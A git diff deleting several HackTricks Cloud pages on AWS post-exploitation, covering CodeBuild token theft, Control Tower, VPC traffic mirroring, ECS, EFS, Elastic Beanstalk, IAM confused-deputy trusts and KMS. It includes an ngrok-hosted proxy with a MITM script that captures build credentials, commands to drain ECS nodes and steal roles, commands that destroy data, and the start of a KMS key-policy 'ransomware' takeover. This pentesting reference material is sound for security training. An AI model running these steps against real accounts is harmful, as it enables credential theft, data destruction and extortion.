- "name": "http_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- },
- {
- "name": "https_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- }
- ]
- }'
-```
-{% endcode %}
-
-* Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http\_proxy and https\_proxy)
-
-```python
-from mitm import MITM, protocol, middleware, crypto
-
-mitm = MITM(
- host="0.0.0.0",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
-)
-mitm.run()
-```
-
-* Next, click on **Build the project** or start the build from command line:
-
-```sh
-aws codebuild start-build --project-name
-```
-
-* Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
-
-
-
-### ~~Via HTTP protocol~~
-
-{% hint style="success" %}
-**This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
-{% endhint %}
-
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
-
-* An attacker could add the environment variables **http\_proxy** and **https\_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
-
-
-
-
-
-* Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-* Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http\_proxy and https\_proxy)
-
-```python
-from mitm import MITM, protocol, middleware, crypto
-
-mitm = MITM(
- host="127.0.0.1",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
-)
-mitm.run()
-```
-
-* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
-
-
-
-{% hint style="warning" %}
-Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
deleted file mode 100644
index 1fa4d4d49..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AWS - Control Tower Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Control Tower
-
-{% content-ref url="../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md" %}
-[aws-control-tower-enum.md](../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md)
-{% endcontent-ref %}
-
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
-
-{% code overflow="wrap" %}
-```bash
-aws controltower disable-control --control-identifier --target-identifier
-aws controltower enable-control --control-identifier --target-identifier
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
deleted file mode 100644
index 51e033417..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# AWS - Malicious VPC Mirror
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
-
-Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**.
-
-To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts.
-
-The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible.
-
-For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
deleted file mode 100644
index 096bdaea6..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ /dev/null
@@ -1,88 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## ECS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ecs-enum.md" %}
-[aws-ecs-enum.md](../aws-services/aws-ecs-enum.md)
-{% endcontent-ref %}
-
-### Host IAM Roles
-
-In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
-Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
-
-{% hint style="danger" %}
-Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
-{% endhint %}
-
-### Privesc to node to steal other containers creds & secrets
-
-But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
-
-#### Making containers run in current host
-
-Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
-
-```bash
-aws ecs update-container-instances-state \
- --cluster --status DRAINING --container-instances
-```
-
-The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
-
-```bash
-aws ecs deregister-container-instance \
- --cluster --container-instance --force
-```
-
-A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
-
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster \
- --status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-
-### Steal sensitive info from ECR containers
-
-The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
deleted file mode 100644
index 1a78c9dd2..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# AWS - EFS Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## EFS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-efs-enum.md" %}
-[aws-efs-enum.md](../aws-services/aws-efs-enum.md)
-{% endcontent-ref %}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target.
-
-```sql
-aws efs delete-mount-target --mount-target-id
-```
-
-**Potential Impact**: Disruption of file system access and potential data loss for users or applications.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system.
-
-```perl
-aws efs delete-file-system --file-system-id
-```
-
-**Potential Impact**: Data loss and service disruption for applications using the deleted file system.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion.
-
-```sql
-aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps
-```
-
-**Potential Impact**: Degradation of file system performance or resource exhaustion.
-
-### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
-
-An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system.
-
-```arduino
-aws efs create-access-point --file-system-id --posix-user --root-directory
-aws efs delete-access-point --access-point-id
-```
-
-**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
deleted file mode 100644
index 4856870bc..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ /dev/null
@@ -1,121 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Elastic Beanstalk
-
-For more information:
-
-{% content-ref url="../aws-services/aws-elastic-beanstalk-enum.md" %}
-[aws-elastic-beanstalk-enum.md](../aws-services/aws-elastic-beanstalk-enum.md)
-{% endcontent-ref %}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-{% endcode %}
-
-**Potential Impact**: Disruption of application deployment and potential loss of application versions.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-{% endcode %}
-
-**Potential Impact**: Downtime of the application, potential data loss, and disruption of services.
-
-### `elasticbeanstalk:DeleteApplication`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-{% endcode %}
-
-**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-{% endcode %}
-
-**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-{% endcode %}
-
-**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
deleted file mode 100644
index 7a73ed2bd..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## IAM
-
-For more information about IAM access:
-
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
-
-## Confused Deputy Problem
-
-If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
-
-Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
-
-
-
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
-
-Example:
-
-```json
-{
- "Version": "2012-10-17",
- "Statement": {
- "Effect": "Allow",
- "Principal": {
- "AWS": "Example Corp's AWS Account ID"
- },
- "Action": "sts:AssumeRole",
- "Condition": {
- "StringEquals": {
- "sts:ExternalId": "12345"
- }
- }
- }
-}
-```
-
-{% hint style="warning" %}
-For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts.
-{% endhint %}
-
-### Unexpected Trusts
-
-#### Wildcard as principal
-
-```json
-{
- "Action": "sts:AssumeRole",
- "Effect": "Allow",
- "Principal": { "AWS": "*" },
-}
-```
-
-This policy **allows all AWS** to assume the role.
-
-#### Service as principal
-
-```json
-{
- "Action": "lambda:InvokeFunction",
- "Effect": "Allow",
- "Principal": { "Service": "apigateway.amazonaws.com" },
- "Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-
-This policy **allows any account** to configure their apigateway to call this Lambda.
-
-#### S3 as principal
-
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
- "StringEquals": {
- "aws:SourceAccount": "123456789012"
- }
-}
-```
-
-If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this.
-
-#### Not supported
-
-```json
-{
- "Effect": "Allow",
- "Principal": {"Service": "cloudtrail.amazonaws.com"},
- "Action": "s3:PutObject",
- "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-
-A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
-
-## References
-
-* [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
deleted file mode 100644
index 18859e4f3..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ /dev/null
@@ -1,163 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## KMS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-kms-enum.md" %}
-[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
-{% endcontent-ref %}
-
-### Encrypt/Decrypt information
-
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
-
-* `fileb://:` Reads the file in binary mode, commonly used for non-text files.
-* `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.
-
-{% hint style="success" %}
-Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
-{% endhint %}
-
-* Using a **symmetric** key
-
-```bash
-# Encrypt data
-aws kms encrypt \
- --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
- --plaintext fileb:///tmp/hello.txt \
- --output text \
- --query CiphertextBlob | base64 \
- --decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
- --ciphertext-blob fileb://ExampleEncryptedFile \
- --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
- --output text \
- --query Plaintext | base64 \
- --decode
-```
-
-* Using a **asymmetric** key:
-
-```bash
-# Encrypt data
-aws kms encrypt \
- --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
- --encryption-algorithm RSAES_OAEP_SHA_256 \
- --plaintext fileb:///tmp/hello.txt \
- --output text \
- --query CiphertextBlob | base64 \
- --decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
- --ciphertext-blob fileb://ExampleEncryptedFile \
- --encryption-algorithm RSAES_OAEP_SHA_256 \
- --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
- --output text \
- --query Plaintext | base64 \
- --decode
-```
-
-### KMS Ransomware
-
-An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.
-
-Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.
-
-{% hint style="warning" %}
-Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
-
-Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
-{% endhint %}
-
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
- --policy-name default \
